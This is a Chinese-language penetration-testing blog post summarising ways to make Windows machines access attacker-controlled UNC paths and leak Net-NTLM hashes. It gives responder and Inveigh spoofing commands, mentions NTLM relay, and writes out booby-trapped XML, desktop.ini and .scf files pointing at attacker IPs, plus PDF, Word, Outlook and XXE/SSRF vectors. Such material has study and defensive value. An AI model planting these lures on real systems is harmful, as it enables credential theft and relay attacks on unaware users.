总结：触发unc路径访问的方式

骑猪看日落 2022-11-09 12:38 55阅读 0赞

# 1. 前言 #

Net-NTLM-hash劫持的时候一般都会用到unc路径，这篇文章是对于可以出发unc路径访问方式的总结。通过对unc路径的访问可以触发ntlm认证。

# 补充：触发条件 #

1、如果是域内的机器（包括相互有信任关系的两个域内的机器之间）都可以用UNC路径直接访问共享文件

2、设有两台机器（A，B两机）都已经加入域（或分别属于连个相互信任的域中），如果A机用域用户帐户登录，B机处于本地登陆，那么从A机上可以UNC路径访问B机的共享文件夹，但是B机不能用unc路径访问A机的共享文件夹，这是因为，A机处于域用户登录状态，他可以从DC上获得B机的地址和服务票据（戴有炜《AD配置指南》P195）。但是B机没有在域中，所以无法到DC上查找A机的地址以及获得服务票据。所以B机不能通过UNC路径访问A机。

3、如果两机（A、B机IP段相同）都没有加入域，不管他本来就是工作组状态的两个，还是虽然是域成员，但用了本地帐号登录。这两台机器上没有相同的帐号和密码（比如都有一个hyj帐号，密码都是111），那么他们之间就无法UNC访问共享文件夹。

4、总上所述可以看出来，如果想让A机UNC路径访问B机，有两个途径：

一个是A通过向DC发出查询地址及请求服务票据的方法（A，B都加入域，并且至少A要处于域帐号登录状态），让DC在中间做引荐。

另一种就是在两个机器中一定要存在相同的本地用户帐号和密码。这样A就可以通过在局域网中向指定的主机名发包（UNC路径中就含有机器名，比如//server1/director）的方法找到配对的机器，然后得到这台机器的许可。

所以只要具备上面这两个条件，就可以用UNC路径访问。

如果这样看来，2情况中A如果不能通过DC找到B那么如果AB中都有相同的本地用户帐号和密码，那么他们之间也可以UNC路径访问。

# 2. 触发方式 #

涉及到的工具：

1.  impacket
2.  responder
3.  inveigh

## 2.1 利用协议触发 ##

### 2.1.1 http ###

通过responder劫持net-ntlm并结合impacket中的ntlmrelays工具进行relay攻击，如下图执行了whoami命令：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 1]

### 2.1.2 LLMNR和NetBIOS协议 ###

#### 2.1.2.1 通过responder或者inveigh工具 ####

这两个工具利用的是`LLMNR和NetBIOS欺骗`。首先我们需要知道Windows系统名称解析顺序为：

> 1.  本地hosts文件（%windir%\\System32\\drivers\\etc\\hosts）
> 2.  DNS缓存/DNS服务器
> 3.  链路本地多播名称解析（LLMNR）和NetBIOS名称服务（NBT-NS） 当用户解析一个无法被解析的主机名的时候，就会走LLMNR协议或者NBT-NS协议。这时候我们就可以做手脚来让用户认为我们就是它想访问的目标，进而跟我们进行NTLM认证，这样子我们就能够获取到其NET-NTLM。  
>     hash。

> Responder:  
> python编写，下载地址：  
> https://github.com/lgandx/Responder  
> Inveigh:  
> powershell编写，下载地址：  
> https://github.com/Kevin-Robertson/Inveigh

##### Inveigh #####

以`管理员权限`打开攻击机器的powershell依次输入以下命令：  
. .\\Inveigh.ps1  
Invoke-Inveigh -ConsoleOutput Y  
如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 2]  
在被攻击机器上的运行框输入一个任意的主机名并点击确定：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 3]  
这时候返回攻击机，发现已经抓取到NET-NTLM hash  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 4]  
如果对方访问的是正确的主机，则显示的是：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 5]  
`它与域控进行NTLM协商，并没有经过我们的攻击机，也没有走LLMNR与NETBIOS协议。`

##### responder #####

攻击机执行`responder -I eth0 -f`，I后面跟的是当前的网卡名字。被攻击机上执行的操作与Inveigh一样，得到结果如下，依旧抓到了目标用户的NET-NTML hash。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 6]

## 2.2 通过超链接触发 ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]  
当用户点击超链接的时候就会触发unc路径访问。

## 2.3 利用xss触发 ##

在htlm文件中嵌入恶意js代码，如果对方浏览了此html文件，则触发unc路径访问：

但这种情况适用于IE和edge，其他浏览器不允许从http域跨到file域。

## 2.4 利用xml触发 ##

构造恶意的xml文件，如果用户使用word打开，则会触发unc路径访问。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <?mso-application progid="Word.Document"?>
    <?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
    <?xml version="1.0" encoding="utf-8" ?>
    <Courses>
     <Course Number="MS-2524">
      <Title>XML Web Services Programming</Title>
     </Course>
     <Course Number="MS-2124">
      <Title>C# Programming</Title>
     </Course>
     <Course Number="NET2">
      <Title>.NET 2.0 Early Adapter</Title>
     </Course>
    </Courses>

## 2.5 pdf ##

利用三好学生的脚本对pdf文件进行修改，当pdf被打开的时候会触发unc访问。  
脚本下载地址：https://github.com/3gstudent/Worse-PDF

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]  
`用户必须使用PDF阅读器打开，如果使用IE或是Chrome打开PDF文件，并不会执行。`

## 2.6 desktop.ini ##

每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到。用户打开含有恶意desktop.ini的文件夹的时候就会触发unc路径访问。

[.ShellClassInfo]
    IconResource=\\172.16.250.7\ini\1.ioc
    [ViewState]
    Mode=
    Vid=
    FolderType=Generic

`经测试，更改桌面上的desktop.ini然后用户访问自己的用户文件夹时会触发unc路径访问。`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]

## 2.7 scf文件 ##

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性，所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。，用户打开含有恶意scf文件的文件夹时就会触发unc路径访问。

[Shell]
    Command=2
    IconFile=\\172.16.250.3\scf\test.ico
    [Taskbar]
    Command=ToggleDesktop

`利用失败`

## 2.8 xxe/ssrf ##

在xxe里面加载外部文件的时候，如果路径支持unc路径的话，是能拿到net-ntlm hash的。  
在ssrf里面如果支持file协议，并且file协议能加载远程资源的话，是能拿到net-ntlm hash的。

在xxe和ssrf测试中一般要测试这两个方面

1.  支不支持UNC路径，比如\\ip\\x或者file://ip/x
2.  支不支持HTTP(这个一般支持),是不是需要信任域，信任域是怎么判断的

## 2.9 outlook ##

将outlook配置成支持html(默认不支持)，那么如果他人发送过来的邮件中插入html并含有恶意的xss代码，收件人打开邮件后就会触发unc路径访问。

## 2.10 word ##

1.  创建一个带模版的word文档，然后将其用360压缩打开  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]
2.  进入word\_rels文件夹然后打开settings文件  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]  
    修改target属性，并保存  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]  
    打开word文档，即刻触发unc路径访问。

![在这里插入图片描述][2021031516414035.pngR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

# 3. 参考文章 #

[（原创）UNC路径的访问条件][UNC]  
[域渗透学习笔记三：攻击NTLM][NTLM]  
[Forced Authentication][]  
[发起NTLM 请求][NTLM 1]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]: /images/20221023/64d46195cee64468b0bae0026c9c079f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221023/9409a748ab3b4692942bdd04fbcf84f7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221023/3851f2715a7b4741b7dc5781467f562d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221023/76eb1cedb8ed413c98847ce118b0a315.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221023/19d5e6aa719a42f7a8248ab9b7bcc4e9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221023/45b1c846605440e5b0b549d5163e0acf.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221023/637ec5f3947840279500c7e23ca61882.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221023/e2b76207924e423781107a20c5975d8b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221023/8f8e5ff261734d019ac907c3a3b928f1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: /images/20221023/c49b466f8cf24f7a8f12121300dac594.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: /images/20221023/a9d100a9c00d40a99e819e87c5adbd8b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]: /images/20221023/c2cc26e0b4534092a15adbdff8eb50b6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]: /images/20221023/4fa54ce30eab402a98b72d9c4fb8b665.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]: /images/20221023/664f55e89c284478b6e64ff2d4ef2d12.png
[2021031516414035.pngR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/2021031516414035.pngR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70
[UNC]: https://blog.csdn.net/zi6619/article/details/2239691
[NTLM]: https://thekingofduck.github.io/post/ADStudy-Part-3-Attack-NTLM/#toc-heading-2
[Forced Authentication]: https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
[NTLM 1]: https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#0x04-outlook